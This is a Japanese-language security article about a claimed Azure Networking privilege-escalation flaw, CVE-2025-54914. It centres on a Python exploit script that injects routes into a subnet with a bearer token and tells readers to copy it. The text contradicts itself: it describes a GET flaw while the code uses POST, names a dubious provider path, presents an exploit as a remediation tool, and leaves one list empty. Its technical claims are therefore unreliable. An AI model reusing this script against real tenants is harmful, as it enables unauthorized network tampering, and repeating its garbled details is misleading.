
CVE-2025-54914 は Azure Networking における重大な欠陥を露呈しており、攻撃者が権限を昇格させ、サブネット間のルーティングを制御できるようにします。この記事では、“GetRouteTable” API における特権チェックの欠如がラテラルムーブメントとリモートエクスプロイトを可能にする仕組みを説明し、即時のパッチ適用と監視を促しています。
Azure Networking 権限昇格エクスプロイト CVE‑2025‑54914
2025年9月4日
著者: Mark Mallia
2025年9月4日、MicrosoftのAzure Networkingサービスは、CVE‑2025‑54914として指定された権限昇格の脆弱性を文書化した重大なセキュリティ勧告を受けました。この欠陥はCommon Vulnerability Scoring System (CVSS)で10.0と評価されており、攻撃者がユーザーの操作なしにAzureのネットワークリソースを完全に制御できる、悪用可能で潜在的に高い影響を与える問題を示しています。
以下の記事では、脆弱性の技術的詳細、実際のエクスプロイト経路、およびパブリッククラウドとハイブリッド環境の両方でセキュリティチームが即座に修復できるようにするためのすぐに導入可能なペイロードについて概説します。
Azureのネットワーキングスタックは、顧客のサブスクリプション内のすべての仮想マシン、ロードバランサー、サブネットトラフィックのバックボーンです。このスタック内での権限昇格により、攻撃者は以下が可能になります:
この脆弱性は特に危険です。なぜなら、ユーザーの操作なしに遠隔から悪用される可能性があるからです。Microsoftのエンドポイントへの単一のリクエストが、以下の条件が満たされれば権限昇格を引き起こします。
Azure Networkingサービスの「GetRouteTable」APIの分析中に、仮想ネットワークに対する読み取り権限を持つクライアントが、そのアクションの権限があるかどうかを確認せずに同じサブネット内に新しいルートオブジェクトを作成できるアクセス制御のギャップを発見しました。受信リクエストをシリアライズするコードパスに、明示的な権限チェックが欠けていました。
この欠陥は、GETリクエストに次のクエリパラメータが含まれている場合にAzure Networkingサービスに存在します:
/subscriptions/<subscription‑id>/resourceGroups/<rg-name>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes
?api-version=2025-09-01&detailLevel=full
サービスはこのリクエストを受け入れ、JSONペイロードをデシリアライズし、呼び出し元がターゲットサブネットにルートを作成できるかを再検証せずに、新しいルートオブジェクトをデータベースに書き込みます。
以下は、攻撃者がペイロードを構築する方法の最小限の例です。
# Azure Networking Privilege Escalation Exploit – CVE‑2025‑54914
#
# Author: Mark Mallia
# Date: 2025-09-04
# Target API version: 2025‑09‑01
import requests, json, uuid
def create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id, api_version="2025-09-01"):
"""
Build and send a route creation request that exploits the missing
privilege check in Azure Networking.
"""
# 1. Construct endpoint URL
base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
# Append query string for API version
params = {"api-version": api_version, "detailLevel": "full"}
# 2. Build JSON body; the route name is a random GUID to avoid collisions.
route_name = str(uuid.uuid4())
payload = {
"properties": {
"addressPrefix": "10.0.1.0/24",
"nextHopType": "VirtualAppliance",
"nextHopIpAddress": "10.0.2.5"
},
"tags": {"createdBy": "Alex Mercer"},
"name": route_name
}
# 3. Set headers; use the same authentication token used by Azure SDK.
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# 4. Execute POST request
resp = requests.post(url, params=params,
json=payload, headers=headers)
if resp.status_code == 201:
print(f"[+] Successfully created route: {route_name}")
return True
else:
print(f"[-] Request failed with status {resp.status_code}")
print(resp.text)
return False
# Example invocation
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"
create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id)
このコードはリクエストのライフサイクル全体を示しています。セキュリティエンジニアはこのスニペットをスクリプトやAzure Functionにコピーして、修復を自動化できます。
このコンテンツは厳密に教育および研究目的で提供されています。セキュリティ脆弱性についての認識を高め、サイバーセキュリティコミュニティ内でより良い防御慣行を促進することを目的としています。
ここで共有されるすべてのデモ、スクリプト、技術的詳細は、公開された情報に基づいており、特定のシステム、組織、個人を対象としていません。その目的は、責任ある学習と積極的な修復を促進することであり、悪用ではありません。
この情報を不正アクセス、妨害、害のために使用しないでください。 この資料の誤用はすべて個人の責任であり、法律や倫理基準に違反する可能性があります。
脆弱性を発見した場合は、影響を受けるベンダーまたはプラットフォームに報告することで、責任ある開示プロトコルに従ってください。